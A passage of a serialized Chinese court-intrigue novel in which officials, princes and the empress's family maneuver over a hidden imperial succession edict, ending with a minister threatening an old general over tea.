封砚初听了这话,神情变得严肃。他重新行了一礼,之前不过是出于礼节性,可这次却是真心,“晚辈多谢大人教导。”他很清楚,这是一个为官多年,深谙君臣之道的长辈,对一个晚辈的提点。
同时他心中也得到了证实。邢老大人确实知道陛下心中的人选,还探查到自己与六皇子之间的联系,否则不会说出这种话。更是在提醒自己,你固然聪慧,可对于一个君王来说,偶尔的聪慧可以,但是太过聪慧,无论你之前有过多少功劳,也会让人不喜。
邢勉捋着胡须,继续提醒道:“你还年轻,日子长着呢,京城不过是一块方寸之地,大晟这么大,到时候去看看也挺好的,毕竟远香近臭嘛。”
“今日大人的教诲,晚辈铭记于心,必定不会辜负大人所言。”封砚初郑重地说着。
邢勉也不是白白提醒封砚初,他已经年老,又能支撑几年呢,最放心不下的还是孙儿,为的就是将来万一孙儿有难处,对方可以拉一把。
这是算是交易,邢勉明白,封砚初亦心知肚明,两人只是心照不宣而已。
“呵呵呵,你武艺不错,只是不知你与我那孙儿相比,谁的高一些。”邢勉看似说着家常话。
封砚初嘴角弯起弧度,“下官早就听闻邢副指挥使武艺不凡,若是改日能与他相较一番,不胜荣幸。”
“哈哈哈,好啊,那挑个时间,你俩比一场。”邢勉很开心,这算是对方已经答应了,且会履行承诺的意思。当然了,关键时刻,他也会帮一把的。
第二百三十七章 矮子里面挑将军
出了门的封砚初,还在细细思索着邢大人方才的话。
如此说来,决定帝位的那个东西确实在邢勉之处。所以对方才会知道陛下的选择,如此也可以证明他没选错人。虽然对陛下而言,不过是矮子里面挑将军,但相比六皇子,其余两个更不堪。
一个唯母命是从,另一个出卖大晟利益;两相比较,六皇子竟还不错,这是没办法的办法。
不过邢大人有一句话说得对。但凡君王,都不喜欢太过聪慧的臣子,在他还未彻底长成之前,确实需要去地方历练。不过,这必须在那人正式登上皇位之后。将来,无论对方的肚量如何,他都要让其不得不容下!
思及此处,封砚初不禁怀疑起来,那个东西真的在邢老大人手里吗?看情形,邢老大人今日之言就相当于明示了,可真就如此轻易告诉自己?
不!不对!他与邢老大人最多算是前后辈的关系,凭什么就这样冒险说了,对方为官多年,岂能不知人心叵测的道理?更别说还是在官场,而且皇后也知道了……
难道邢老大人的那道旨意,是展示给有心之人的障眼法?陛下想将众人的视线引向邢老大人,为的就是将真正的旨意藏起来,以待来日!
封砚初回头朝邢老大人屋子的方向看去。虽不知具体内容是什么,但对方必定是从最近发生的事情里猜出来的,越想越觉得有可能。
“封主事!封主事!”
他听见声音,回头一看,原来是薛荣祥薛郎中,立即拱手,“薛大人。”
薛郎中眼睛一眯,声音中透着不耐烦,“封主事,我喊了你好几遍了,还在当值呢,竟然走神?”
封砚初继续拱手道:“下官知错,请大人恕罪。”
薛郎中摆了摆手,神色淡淡,“罢了罢了,赶紧去做事,王主事已经在案头忙了好一会儿了。”别看他虽然是郎中,是封砚初的顶头上司,但因薛家之旧事,他总是难以融入这些人里。对其能得到尚书大人的看中,心里更多的是艳羡。
“是,大人。”封砚初听后,匆匆离开。
别看封砚初只是一个主事,但每日基本都是一些案头上的工作,枯燥乏味,但却极其重要。
比如各地守将或总兵的章奏文移;协助薛郎中处理武库司各项事务,亲自动手缮写题本,咨文以及内部票拟;各类档案归档;核对军器账目等。
总之呢,每天都是在堆积如山的账本和公文中度过,这是一个责任重于权力的职位。
而封砚初得到这个消息之后,并未透露给六皇子,依旧当做什么都不知道的样子,过着自己的生活。
话说黎大郎与邢重归也算是相熟了。
其父黎文堂便将儿子叫到跟前,脸上带着和煦的笑,像是关心儿子一般地问道:“为父见你这些时日以来心情甚好?”
黎大郎还未理解父亲的意思,只当是真的在关心自己,笑呵呵道:“是啊,父亲不是让儿子与邢郎君多多来往,儿子听了父亲的话,没想到与他甚为投契。”
黎文堂继续问,“哦?那你俩有没有聊起邢勉啊?”
黎大郎一听这话,顿时来了兴致,要知道邢重归对祖父那可是推崇备至,“当然说了,邢老大人英勇善战,奈何被西戎贼子算计,无奈受伤归京。邢郎君还说了,要不是邢老大人不愿意,他必定要上战场杀敌的……”
黎文堂听着儿子滔滔不绝的说着邢勉的事迹,奈何与想知道的事没有半分干系,打断道:“先不说这个,那邢重归有没有说一个月之前,邢勉冒雨进宫的事?出宫回府有没有带着什么东西?”
见父亲如此说,黎大郎就是再迟钝,也明白父亲这是想通过自己打探邢老大人的消息。虽然心中不情愿,但还是摇头道:“这个,从未听他提起过,想来应该不知道。”
此话一出,黎文堂顿时没有了耐心,“别想来不知道,你下次从侧面打听打听!”然后挥手催促着,“好了,好了,你先下去吧!”
其实黎文堂也想了别的办法,邢家不止邢重归一个,还有其余两个郎君,奈何全不中用。他还暗中约了几次邢勉,结果这老家伙根本不回应。
也试图收买邢勉身边之人,只是这些人要么是邢家的老人,要么是跟着对方一刀一枪,在战场上厮杀出来的。
所以,目前仅收买了对方院里的小厮,连书房的门都还没摸到。心里不由骂道:真是老奸巨猾,竟然将东西藏的那样严实!
肃王府。
肃王正在书房欣赏着一幅美人图,他不仅欣赏,还在临摹。
‘咚咚咚’,响起一阵敲门声。
肃王轻叹一声,有种被打断的不快,终究还是说了句,“进来。”
肃王妃推门进来,径直坐到肃王跟前,将对方手里的笔夺下来扔在一旁,“画画画,就知道画,你也不说劝一劝儿子。自从得了陛下的旨意,他就住在了医馆,连家都不回来了!我也不是说让他放弃行医,只是四五日里回来一次就行。”
肃王对于发妻的话也很无奈,“我有什么办法?他开业那天我还去了,结果人家说什么?说我碍事!碍事,你听见了没?要我说随他去吧!”
肃王妃冷哼一声,“随他去?这是在京城,不比药谷天高皇帝远的,你那么多庶子,要是有一两个存心不正,谋害云儿可怎么办?你倒是不妨事,那我将来靠哪一个?”
肃王就不爱听这话,但是长子自出生就体弱,妻子一直怀疑是有人谋害,这么多年没少折腾,但一直没查出来,只得答应,“好,你说怎么办?”
肃王妃眼睛一转,想到了王爷的护卫凌严,那是最厉害的一个,“将凌严派去,保护云儿。”
肃王想到了什么,立即反驳,“不行!”随后放缓了语气,“我是说,没必要让凌严去,我派仲则去是一样,他也是我的随身护卫,代表着我的态度和脸面,我看谁敢存心不正!”
肃王妃听后觉得这样也可以,满意的点头离开了。
肃王却再也没心思画什么美人图了,而是看向墙上挂着的垂钓图,神色颇为复杂。
第二百三十八章 皇后娘娘都是为了您好
坤宁宫。
黎皇后才将请安的嫔妃们打发走,便招来了亲信,“我父亲那边可有消息传来?”
亲信垂着头,“还没有,之前奴婢问过了,大人多方探查,可到现在还没有结果,邢大人也油滑的很。”
黎皇后不耐烦的挥手让人退下,心中愈发烦躁:邢勉这个老不死的,对陛下的话就那么唯命是从。也不想想,陛下既然能将东西给他,就证明身体已经不好了,一把年纪也不为子孙的将来着想。直到儿子进来,她这才压下心中的烦闷。
“儿子给母后请安。”庄王(九皇子)按照规矩进门行礼。
黎皇后脸上强行撑起笑意,“今日好容易休沐,你怎么不多休息一会儿?”
庄王(九皇子)站到母亲身边,乖巧地回答:“儿子不能耽搁给母后请安的时间,再说儿子并不困。”庄王(九皇子)很清楚,如果他晚来,或者回答的不对,母后必定会不高兴的。
黎皇后满意的摸了摸儿子的头,“一会儿,陪我用膳,你正在长身体,要多吃一些。”在她看来,陪自己用膳就是对儿子的奖励,随后又问了一些学业上的事情。
直到最后,庄王(九皇子)带着祈求的目光看向皇后,吞吞吐吐道:“母后,七哥和八哥他们都有武课,儿子如今已经长大了些,可以去跟着一起习武吗?”
黎皇后听见这话,脸色瞬间冷下来,带着质问的口吻说道:“到底是谁挑拨你的?说!”
庄王(九皇子)连忙摇头,“没谁挑拨,是儿子见七哥和八哥习武,也想学。”
“哼!他们如何与你相比,你是嫡子,将来是要……总之,你现在最重要的是跟着大儒学习功课,那些武课不过是武夫所为。你身份尊贵,用不着那些,身边有护卫保护就行,你要学的是为君之道!明白吗?”黎皇后还是觉得有人挑唆儿子,眼见着陛下身体都不行了,儿子现下最重要的是学业要能跟得上,而不是在武课上费工夫。
“儿子知错,母后别生气了。”庄王(九皇子)赶紧行礼认错,可他心里很清楚,父皇对他的学业从来不会主动过问,除非正好去书房检查;他很羡慕七哥和八哥,他们的母妃不太管,可以上武课。
而他当时也上了半日的武课,就在母后向父皇请旨,往后只需学习骑马射箭即可,其余的时间用来学习文课,父皇答应了。从这之后,他的文课确实比七哥和八哥厉害,可渐渐的,距离也与他们越来越远。
黎皇后拉过儿子的手,安抚道:“我是你母后,还能害你不成?自古治国安邦靠的都是文,你见着哪个武功学的厉害,就能治理国家的?现在先不着急,等过两年,你还想学的话,母后就允你。”她见儿子情绪不高,赶紧安抚着。
庄王(九皇子)的眼神明显亮了一下,“是,儿子都听母后的。”
没一会儿,就传膳了。
饭桌上,黎皇后看见儿子将一道菜已经夹了好几次,随后瞥了一眼宫女,指着另外几道菜,“就是再爱吃,也不能吃太多,这几道你也要吃,只有荤的素的搭配起来才更好。”
“是,母后,儿子知道了。”庄王(九皇子)看着碗里那几道他并不喜欢的菜,还是吃了下去。
吃完饭,黎皇后便道:“才用了膳,缓上一刻钟,就去看书。”
“是,母后,儿子告退。”庄王(九皇子)离开坤宁宫时,兴致并不高,但他不敢表现出来,因为他身边的的都是母后的耳报神,但凡有个风吹草动,就会禀报,完了还说,“皇后娘娘这都是为了王爷好。”
而黎皇后看着离开的儿子,对一旁的宫女吩咐着,“去问一问他身边的人,这学武的话到底是谁撺掇的。”
“是!”宫女领命下去。
‘枕松闲居’
封砚初练了一会儿武,刚洗漱完,正躺在躺椅上晾头发。
‘咚咚咚!’
冯四闻声将门打开,眼前之人让他也惊了一下,“孙郎君?”
孙延年未等人通禀,自己就已经走进来了,一路到了封砚初的院子,“二郎!”
封砚初本来是在闭目养神,听见这声音睁眼抬头一瞧,竟然是孙延年,随即起身迎上前,拍着对方的肩膀,“你回来也不提前来信说一声,我好去接你!上次的信里也说的模棱两可的。”
他打量着好友,黑了不少,但也壮了,身上更是散发着截然不同的气势,那是见过血的人才会有的。此时,雪香也将茶水点心端了上来。
孙延年咧嘴笑着,“我这不是想着给你一个惊喜嘛。”
“你何时回来的?”
“昨日进城门时已经黄昏了,一早进宫拜见了陛下后,就来找你了。”孙延年说话间一屁股坐到一旁的桂花树下,占了封砚初的躺椅,然后端起茶盏饮了几口。
封砚初听见这话,轻叹着,“其实你不必着急回来,现在的京城看似平静,实则波谲云诡,你父亲身居要职,你回来后,这平静的日子恐怕就没了。”
孙延年本来端起茶盏的手在空中略作停顿,随后猛地将其饮尽,叹道:“我本来不会这么快回来的,可之前陛下还信誓旦旦的要与西戎决战,现在竟然没动静了,我五叔(孙茂孙员外郎)也不知缘由,父亲担心京中生变,这才让我回来。”
说到这里,他看向封砚初,语气中带着肯定,“幸亏我回来了,看来果然有事!”
封砚初并未急着说话,而是摸了摸头发,已经干了,“我先去束发。”
第二百三十九章 什么都没给你说
等封砚初出来之后,之前那懒散的模样已消失不见,变成了一个翩翩君子的模样。
桂花树下的躺椅换成了正常待客的桌椅,上面重新摆上了茶水、点心,还有酥山。
孙延年一边吃着,一边调侃,“嗯~愈发人模人样了。”然后长舒一口气,“啊~凉爽!”甚至像主人一般的招待着,“二郎,快来吃酥山,这炎炎夏日,就应该吃它。”
封砚初见到这大变的模样,便晓得是对方让下人重新布置了一番。他轻轻摇着扇子,拒绝了,“你吃吧,我喝茶就行。”
孙延年眼睛很锐利,放下手里的酥山,从封砚初手里拿过那柄扇子,仔细打量翻看,“我瞧你这扇子不一般,倒像是武器?”
封砚初承认了,“你也知道,我幼时父亲管得严,便以扇代剑,时间长了,也算是悟出来一些门道。现如今又在兵部武库司任职,难免要和工部的虞衡司、军器局打交道,便自己画了图,托人帮忙制了一个。”
孙延年点头道:“这个看起来倒也不显得突兀。”随后又递了回去,终于道出正题,“最近京城可发生了什么事?竟诡异的安静。”
封砚初接过扇子轻扇着,他并未将自己探查到的消息告诉对方,而是说道:“听说肃王向陛下抱怨世子想回药谷,本意是让劝一劝,只是没想到没过几日,陛下竟然同意肃王世子在京城开了一间医馆。”
“还有就是,现如今黎大郎君与邢重归交好,据说两人颇为投契,与肃王世子的事情,前后相差没几日。”他看似说了两件无关的事情。
孙延年听见这话,凝神看向碗里已经渐渐化了的酥山,食指无意识地在桌上画着小圈,细细思索着这两件事情之间的关联。直到眼眸中突然迸发出亮光,声音中带着颤抖,“陛下……陛下……”
封砚初端起清茶浅饮,顺势遮挡住了唇角的弧度,眼中闪过一丝狡黠之色,可声音却淡淡的,“我不过是分享了两个小故事罢了,可什么都没给你说。”
孙延年哈哈笑着,端起已经化了的酥山一饮而尽,“那是当然,不过,还是要谢你。”
说到这里又‘啧’了一声,“没想到我离京这段时间,你与陈泽文那家伙玩的不错,他竟然还在这里买了一处宅院。我记得他以前对你可是鼻子不是鼻子,眼睛不是眼睛的。”
封砚初并未说话,而是看向孙延年身后,“他说你呢。”
孙延年一听这话,立即转身看去,不知什么时候,陈泽文已经站在身后了,正拧眉看着他,“你什么时候来的?怎么没声?”
陈泽文有些阴阳怪气道:“从你说我与二郎玩的不错开始的。哼,我竟不知你居然在背后这般说我?”
孙延年讪讪道:“本来就是,谁让你也不来信说这些,害的我以为你俩关系寻常呢。”说完这话,暗暗瞪了一眼二郎。
陈泽文此时热的满头大汗,坐下以后,依旧呼哧呼哧扇着扇子,朝不远处的雪香喊道:“热**,给我来一碗酥山。”
紧接着转头对孙延年抱怨,“好你个孙延年,听说你回来,我可是一大早就去了孙府,谁知下人说你来了广林巷,我紧跟着就去了隔壁,他们又说你在二郎这里。亏我这般殷勤的找你,你回来竟然也不说先来找我。”
孙延年摇头笑着,“敢问你年岁几何啊?别说我没找你,谁让你不在广林巷。”两人又斗了好一会儿的嘴。
封砚初是第一次见这两人斗嘴,竟在一旁乐呵呵的看着。
直到陈泽文假咳了两声,“别见怪,我俩见面就这样。”
“不,没关系,我觉得挺有意思的!”封砚初摇着扇子,弯起嘴角。
陈泽文为了打破尴尬,瞥了一眼孙延年,“你不是说自从上次受伤之后,左肩一直不得劲吗?正好让二郎给你瞧瞧。”恰好雪香端来了酥山,他舀起一勺放进嘴里,发出‘呃’的一声,“凉快!”
孙延年这才想起今天来的另一件事,方才被陈泽文打搅的差点忘记,“二郎,还要多谢你配的药,可帮了不少忙
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啊!”
封砚初先是把了脉,然后起身按了按对方的左肩,问道:“是这里吗?”
孙延年点头道:“就是现在按的地方。”
得到答案的封砚初朝对方说,“不妨事,之前的大夫医术很不错,治得也很到位,只是你受伤后,在还没养好就动武。一会儿我先给你施针,再配两剂药,一剂外服,另一剂内服,五日内保管好全,没有任何后遗症。”
“多谢。”孙延年其实更担心肩膀会影响自己今后用武,听见二郎这么说,心中也松了一口气。
此刻,陈泽文吃完了酥山,胸中的闷热之气也消散了不少,“对了,沈在云的医馆你最近别去了。”
“怎么了?”封砚初一听这语气明显有事。
陈泽文扯出一抹嘲讽的笑,“还不是沈在云那几个庶弟使坏,托人诬陷他医坏了人,想将人赶离京城,一帮上不得台面的东西!要不是肃王和陛下强留,沈在云早就回药谷了,就他们还想图谋世子之位?人家压根看不上的东西,他们想抢还抢不到,你说可笑不可笑?”
“肃王是什么态度?”这是孙延年问的,他似乎想到了什么。
陈泽文压根没在意,嘴上依旧说着,“分府别居了。”
从对方话里的意思可以表明,二郎与沈在云熟识,那么他是否也知晓陛下得了何症?思及此处,孙延年心里咯噔一下,还是将话说出了口,“那岂不是相当于告诉所有人,他们成为肃王府的弃子?”
封砚初余光扫了一眼孙延年,自然也看见了对方眼底的变化,不过依旧缓缓摇着扇子,甚至嘴上还轻笑道:“这么说来,他的位置已经不可动摇,除非有人存心不正想谋命,想来肃王妃不会善罢甘休。”
陈泽文点头道:“还真叫你猜着了,肃王妃不仅让肃王将自己的贴身护卫派去保护沈在云,同时还把那些年长一些的庶子们身上的职务全撤了,虽说是分府别居,但相当于赶出王府,肃王已经默认了,这些人今后再无出头之日。”
第二百四十章 探听是真,拉拢亦是真
“嗯,我还说什么时候闲了,去当一日的坐堂大夫呢。”封砚初心里觉得有些可惜。
“对了,差点忘了。”陈泽文说话间从一旁的布包里拿出一本医书,“这是沈在云托我给你的。”
封砚初笑着接过去,大致翻看了一下,明显是才誊抄不久的,“上次在他那里看到一本医书,本想借阅的,倒是劳烦他费心重新誊抄一本。”
眼见着晌午已至,三人直接在院子里用了饭。封砚初又为孙延年治了伤,配好了外用内服的药,这才散去。
话说孙延年并未回府,而是直接去了隔壁的住处,刚回来就将今日得来的消息再次复盘。
边关对敌之策突然出现变动,父亲本就怀疑不仅仅是京中出了事,甚至可能是陛下有事,这才不得不更改对西戎的态度。
今日二郎虽表面上说的是肃王世子本想离京,陛下同意其在京中开医馆;肃王世子是什么人?那可是自小长在药谷,能让二郎特意提出来,还顺带点了是陛下的意思,那就证明陛下的身体已经出现问题。
至于黎大郎特意交好邢重归之事。黎大郎身后可是黎文堂,那是皇后的父亲,代表的是九皇子;邢重归代表的是邢老大人,邢重归不重要,重要的是巡城卫和靖安武备营,这个是军中力量,万一陛下有个好歹,正好可以一用。
至于为什么不直接拉拢六皇子和邢勉?六皇子最初只是跟在大皇子身后,可大皇子出局。为躲避夺嫡之争,出京游历,明显不想掺和,这才拉拢相对单纯一些的邢重归。
邢大人虽然回京,但其在军中资历颇深,手上把持着兵部和巡城卫,实力不容小觑;何况邢大人一向老成持重,又怎么可能为了区区小利便轻易倒戈?只是对方为何不阻止长孙的行为?
除此以外,他心中更疑惑的是,陛下既然身体已经出现了情况,为何不尽早立储,难道真的不担心京城生乱?
想到此处,只觉得思绪万千,便叫来了青山,“青山,你私下打探打探,五皇子是否与军中之人接触!”
这段时间,青山也成长不少,虽然依旧话多,但性格中更多了些坚毅。他见郎君不想多说,便领命而去,“是,郎君。”
孙延年看着离开的青山,心中喃喃着:二郎为何没提五皇子?是看不上五皇子,还是说九皇子的胜算更大一些?方才因为陈泽文在,他不方便问。
‘枕松闲居’
封砚初悠闲的翻看着陈泽文带来的医书,直到暮山进来。
“郎君,方才青山出去了,不知是不是回了孙府,是否需要跟上去?”
他缓缓抬头,声音里听不出情绪,“不用了,若说以前或许可以,但现在你跟不上。”
“是!”暮山人如其名,沉稳寡言,见郎君没有吩咐,就退下了,不过还是仔细留意着隔壁,以及‘枕松闲居’周围的动静。
封砚初继续低头看着书。孙家一向不沾染夺嫡,谁在皇位上就忠于谁,所以孙延年知道这些就可以了。至于其他的,他不会多说,就看对方能否领悟到,若是不能也无妨碍。
夜幕已至,他并未留继续留在‘枕松闲居’,而是回了侯府。
书房内,父子三人相对而坐。
封砚初先是看了父亲一眼,并未说话。
封简宁清了清嗓子,“为父已经告诫过大郎了,让他务必守口如瓶,所以听一听也无妨,他知道轻重。”说话间朝上指了指,“那个人的事,我也告诉他了。”
大郎封砚开很清楚二弟的担忧,“自从家里上次发生了外贼之事,我就晓得轻重,今日之言,再无第四人知晓。”
封砚初这才点了点头,“儿子得到一个消息,陛下可能留下了一道旨意,以待来日。”
封简宁听到这话之后,手里的杯子差点没端住,不禁咽了咽唾沫,他没想
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到次子的消息这般灵通,“你可知在谁手里?”
大郎更关心另一个问题,“上头是谁?”
封砚初先是看着父亲,摇头道:“目前还不知道在谁的手里,但我猜测应该不在邢老大人手上,只是皇后的人以为在他那儿。”
封简宁恍然大悟,“我就说黎大郎怎么好端端的与邢重归玩到一起了,原本还以为黎文堂为了拉拢邢勉,又惦记着靖安武备营。”
大郎见二弟还未回答他的话,又问道:“那你知道上头是谁吗?”
“大概猜到了,有可能是六皇子!”封砚初并未将话说死。
可父亲此时却点头肯定着,“必定是六皇子!陛下身体出了问题,九皇子年幼,即使来日登基也不过是傀儡罢了。五皇子与西戎有牵扯,更不惜损坏大晟的利益,这几乎是摆在明面上的事情。”
他说到这里眼神变得幽深,语气中更是透着肯定,“对于皇后来说,上头是谁都不要紧,要紧的是那个人将来不能出来生事!”
大郎接过话头,“没了这个隐患,只要将军队拉拢在自己手里,一旦来日陛下驾崩,又没有遗旨,那就要以中宫的懿旨为准!所以,二郎,黎家想探听旨意是真,借机拉拢亦是真!”
“孙家不会掺和进去,吉家更是如此!黎家手里有六扇门,可六扇门捉贼还可,用作他处未必得心应手。禁军目前依旧在陛下手中,若是从此处下手,别说将来,陛下现在就不会容忍!”
“如今京中的军中势力还有巡城卫和靖安武备营。所以从邢家入手最好,毕竟邢勉年岁不小,自然要顾及孙子的前程。”
大哥这番话不无道理,可有一处不对,封砚初嘴角微微弯起,“大哥,邢重归性情敦厚纯良,若是在底层还好,可一旦身处高位,他能否应付得了官场中的波谲云诡?于邢老大人而言,前程远没有邢氏满门的平安重要。”
第二百四十一章 竟然在路上堵他
封砚初说到此处略作停顿,“再不济,还有安州府的驻军。”
话音刚落,大郎眸中一亮,“安州府距离京城很近。黎家通过黎大郎接触邢重归的事情并非隐秘,五皇子想来早就知道了,既然京中下不了手,难免不会从安州府想办法。”
父亲封简宁是吏部侍郎,对人事了熟于心,捋着胡须说道:“前任安州知府、知州、守将问罪后;新任的守将便成了鲁丘,此人是从南边调来的,祖上也是武将,不过一直在地方上任职。”
武安侯府,父子三人商议着事情。
而广林巷。
青山已经打听的回来了,“郎君,五皇子暂时未有动作,也有可能是比较隐秘,时间太短,还没查出来。”
孙延年听到这个消息,不禁在屋里来回踱步,现如今他眼前的迷雾并未散去,反而更看不清了。
只听‘咚’的一声,他用指头猛地敲了一下桌案,仿佛下定了某个决心一般,“走,去隔壁!”
冯四听见一阵敲门声,连忙出去开门,举着灯笼一瞧,才看清来人,连忙问安,“孙郎君好。”
孙延年见冯四并未让开,眉头微皱,“我找二郎。”
冯四又道:“我家郎君今夜不在‘枕松闲居’,回侯府去了,临行前交待小的,说今晚不回来了。”
孙延年只闷声说了句,“知道了”便转身离开了。
青山跟在身后,问道:“郎君,明日下职后,封郎君一定会回‘枕松闲居’的,咱们明日晚些时候再来也是一样的,正好小的再去打听打听。”
孙延年却摇着头,“明日不用去找二郎了,你在外头继续打探就行。”
青山十分不解,“郎君,封郎君明显知道的比您更多,何必舍近求远呢?”
听见这话,孙延年回头看向青山,拍了拍对方的肩膀,郑重道:“你还看不明白吗?二郎之所以今晚回武安侯府,就是为了躲我!”
“为什么呀?您与封郎君不是好友吗?”青山心中的困惑更大了。
“正因为是好友,他把能说的都告诉给我了,剩余的不方便深说。我若是继续当面问他,他自然不好拒绝,这才回了武安侯府。更何况我要是猜的着,查的到更好,要是没能领会,也是没办法的事。”孙延年还有一些话并未对青山说,那就是不能说的部分,显而易见十分重要,只是他一时之间想不明白罢了。
青山摸了摸脑袋,“竟还有这样的哑迷。”心中更是感慨封郎君的心思真多,若非郎君与对方是好友,没准一时三刻还猜不到呢。
回到屋子里的孙延年,半靠在榻上,手里无意识地甩着一枚玉佩,他突然猛地起身,喊道:“青山,进来!”
青山忙不咧迭的进屋,“郎君,您有何吩咐?”
“安州府!我忽略了安州府!你明日悄悄去安州府打探一下,看是否有人暗中接触安州守将,不着急回来,一定要探听清楚!”孙延年神情十分严肃,认真地嘱咐着。
“是,郎君。”青山也应的斩钉截铁,随后却道:“郎君,天色不早了,您今日累了一夜,还是先洗漱洗漱。封郎君不是给你开了药吗?一会儿,我给帮您涂上,您好好歇一歇。”
孙延年对此已经见怪不怪了,青山就是这样的人,思想永远很跳脱,这一刻还在说这件事,下一刻可能就想起别的了。不过他嘴里还是嘟囔着应道:“知道了。”
次日。
当封砚初下职后才进门,冯四就将孙延年找
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他的事情说了。
“郎君,昨日夜里,约莫戌时初,孙郎君来找您,小的按照您交代的,原封不动的说了,之后孙郎君果真没再找过您。”冯四说这话时,小心翼翼地看着郎君。
封砚初听后只说了句,“我知道了。”
冯四这才松了一口气,又问:“郎君,那以后孙郎君找您呢?”
“我与他是好友,自然与往常一样。”封砚初说完这话,未等冯四回应,便头也不回的直接进去了。
而就在此时,黎文堂见儿子一直没有进展,再也耐不住性子,特意在邢勉回家的必经之路上等着。
就在邢勉乘坐马车经过之时,旁边一个不起眼的小马车,帘子被掀开,露出一个熟悉的脸,“邢大人。”
邢勉一开始并未留意,直到听见有人喊他,这才掀开帘子一瞧,装傻道:“黎大人,好巧啊,您也下职回家啊,那咱们回头见。”说罢,放下帘子,示意马夫驾车离开。
可黎文堂并未就此放过他,“邢大人,这可不是巧,而是我特意在此等你,没办法,谁让邢大人太难约了。”
邢勉只得掀开帘子,呵呵笑着,“黎大人说的是哪里话,也是无奈,老夫实在太忙了,不仅要处理兵部的事情,巡城卫还有一摊子,实在无暇。”心里却在暗暗骂着黎文堂没脸没皮,竟然在路上堵他。
黎文堂听后并未接话,而是指向不远处的一间茶肆,“在下想请邢大人饮一盏清茶,那里已经被我清空了,无人打扰,正合适。”
邢勉心中轻叹,到底没躲过去,重新放下帘子,语气里听不出任何情绪,“那就劳烦黎大人前头带路了!”
黎文堂见目的达到,也放下帘子,朝车夫道:“走吧。”
第二百四十二章 希望你能说到做到
茶肆。
门口和楼梯处都有人把守着,掌柜和所有的伙计都被赶到了后院,有专人看守。
邢勉刚坐下,黎文堂就亲自给他斟茶;可他并未端起茶盏,仅是瞥了一眼,脸上一片平和,那双眼睛依旧锐利,“黎大人亲手斟的茶,恐怕喝起来太烫嘴了。”说话的语气是那样的从容。
黎文堂端起茶饮了一口,可双眼却紧盯着对面之人,“我喝着却刚刚好,只怕这茶再放下去就凉了。”
“凉了再倒新茶就是,这点钱老夫还是掏的起的。”邢勉依旧未喝茶,说话间环顾四周,“难为黎大人找了这么一个僻静的地方,说来惭愧,老夫多次路经于此,竟未发现这里有间茶肆。”
黎文堂像是宴请老友一般,说道:“既是请邢大人喝茶,自然要选一个清幽之地,免得人打扰,更何况犬子与令孙还是好友。”
邢勉捋着胡须,哈哈笑道:“我那孙儿空有一身武力,他想与谁交友是他自己的事,毕竟是年轻人嘛,随他去吧。”
黎文堂自然听出来对方的意思,暗骂道:真是个老狐狸,嘴上却说,“令孙武艺不凡,性情敦厚纯良,与犬子倒是合得来;只是人无远虑必有近忧,将来若是有人扶持,邢氏一门自然是荣光依旧。”
邢勉摇头轻叹,“老啦,儿孙自有儿孙福,至于将来如何,就看他自己是否有这个本事,否则登高必跌重。”
“本事这事谁说的准,还不是要看上意,否则再有能力也不过是被埋在土里,终身见不得光亮。”黎文堂紧盯着眼前之人,不放过对方脸上的任何情绪变化,“邢大人也要为邢氏一族的将来着想。”
邢勉面对黎文堂的步步紧逼,虽然心底厌恶,但面上没有露出任何情绪,“老夫已经年过花甲,还能有几年好活?不过是挨得一日是一日。只要到了老夫这个年岁,你便会明白,一切不过是过眼云烟,世上哪有长久不衰的门楣,兴衰都是命数。”
黎文堂对眼前这老头的顽固不化心中更气,他强压着火气,“邢大人真是狠心,情愿眼睁睁看着孙子跌下来,你也说了自己年事已高,可这样性情的人不知能否在官场撑得下去?”
邢勉如何不羡慕旁人家的子孙有出息,但他一向信奉的是有多大的能力,端多大的碗;更何况当年他已经得到了教训,历经丧子之痛,于他而言,孙子的平安最重要。
“所以啊,与其让他担起与自己能力不符的重担,我倒情愿他在底层混着。”他说到这里,语气突然变得认真,“我曾经历丧子之痛,于我而言平安就行。”
黎文堂见状直接开门见山,“邢大人的心思我已了然,既然你只求平安,黎氏可以承诺。我知道陛下给了你一个东西,你只需将名字告知于我,作为交换即可!”
邢勉知道对方说的是什么,也知道对方误会了,“我不知道你说的是什么,而且陛下未曾给过我任何东西。”
黎文堂的耐心几乎快要消耗殆尽,心里不知将对方骂了多少遍,觉得此人简直食古不化,“好,既如此,我也不藏着掖着了,陛下曾经给过你一道旨意,我想知道上面是谁的名字?”
良久,邢勉依旧没反应。
他忍不住又道:“一个多月前,那日突降暴雨,可陛下竟然冒雨将你宣入宫中,且给了你一道旨意,我想知道上头的内容!”
邢勉心中叹气,陛下啊,陛下,大家果然被你算计进去了。想到此处,他才端起茶盏浅饮一口,随即就搁置了,“黎大人误会,是陛下见老夫戎马半生,为朝廷鞠躬尽瘁,不过是一道赞誉老夫的旨意罢了。”
可这话黎文堂如何相信,以为是对方的推诿
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之言,“邢勉!你要知道,你固然希望你的孙儿能处于低位,不受朝堂争斗波及。可你也要明白,正因为他处在低位,有时候顺势收拾才不难!”
“你!”邢勉终于不再是原来那副波澜不惊的模样,他用手指着对方,怒意已经涌现在脸上。
黎文堂也清楚不能逼得太狠,何况对方手里还掌握着巡城卫。见状轻松一笑,将对方冷掉的茶水倒了,重新添上新的,又顺势将茶盏推向对方,“你既不想说,我也不强求!只一点,若真到了那一日,我希望这道旨意永不见天日。”
邢勉紧盯着茶盏,像是挣扎,又像是在思量利弊。此刻,黎文堂反而不着急了,他就这么等着,直到对方端起茶盏猛地一饮而尽,这才露出笑来。
邢勉喝完茶,看向对面之人,声音犹如寒铁一般,“好!老夫答应你!但是,黎大人,希望你能说到做到!”
黎文堂脸上的笑意很浓,甚至端起茶杯遥敬了一下,“那是当然,黎某说话算话!”
邢勉得到答案甩袖离去,直到坐上马车,脸上的怒色这才消失不见,取而代之的是一片平静,随着马车渐行渐远,嘴角竟然慢慢扯出一抹笑意。
黎文堂看着离去的邢勉,心情甚美,他觉得自己的威胁起作用了。
甚至心中想着,对方要是以为自己就此放过,那就大错特错了。虽然现在将人得罪得狠了,不过没关系,只要握着邢重归,不愁这老头不投鼠忌器。
亲信见邢老大人走了,这才上来请示,“大人,这茶肆的掌柜和伙计如何处置。”
黎文堂抬眼扫向亲信,“这还要我教你吗?此处已经无用,至于那些人,发放银两全部遣散回乡,中途当做盗匪劫掠,处置即可。”
“是!大人!”亲信心里也只叹了一句可惜,便领命而去。
第二百四十三章 没有辜负朕心
夏日炎炎,烈阳当空,地面上升腾着模糊的热气,那些走动的宫人已经汗流浃背,即使在树荫下,已经能感受到扑来的热浪。
‘吱——吱——’,树上的蝉叫的嘶声力竭,为这流火之际更增添上一份燥热。
坤宁宫。
